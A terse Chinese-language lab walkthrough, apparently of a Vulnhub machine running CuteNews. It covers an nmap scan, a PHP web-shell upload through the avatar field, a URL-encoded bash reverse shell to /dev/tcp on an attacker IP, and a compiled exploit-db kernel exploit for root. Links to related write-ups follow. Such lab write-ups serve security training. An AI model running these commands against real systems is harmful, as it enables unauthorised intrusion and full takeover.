信息收集
| IP Address | Opening Ports |
|---|---|
| 192.168.8.104 | TCP:80 |
$ nmap -p- 192.168.8.104 --min-rate 1000 -sC -sV
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Please Login / CuteNews
|_http-server-header: Apache/2.4.7 (Ubuntu)
本地权限
注册用户登录
Content-Disposition: form-data; name="avatar_file"; filename="reverse.php"
http://192.168.8.104/uploads/avatar_admin2_reverse.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.8.107%2F10032%200%3E%261%27
权限提升
$ cat /etc/os-release
https://www.exploit-db.com/exploits/36746
$ gcc 36746.c -static -o 36746
# ./36746
![[Vulnhub] devt-improved slog_users+vim<span style='color:red;'>权限</span><span style='color:red;'>提升</span>+nano<span style='color:red;'>权限</span><span style='color:red;'>提升</span>+passwd<span style='color:red;'>权限</span><span style='color:red;'>提升</span>+Lxc逃逸<span style='color:red;'>权限</span><span style='color:red;'>提升</span>](https://img-blog.csdnimg.cn/img_convert/c91f6d1eb301b96e920420fcb2ec5177.jpeg)
![[Vulnhub] Sedna BuilderEngine-CMS+Kernel<span style='color:red;'>权限</span><span style='color:red;'>提升</span>](https://img-blog.csdnimg.cn/img_convert/aedb5c380b4a7e34156640823e3a3b3a.jpeg)
![[网鼎杯 2020 朱雀组]phpweb](https://i-blog.csdnimg.cn/direct/e189c50ce5ef47fda1285f70f06d9d6b.png)
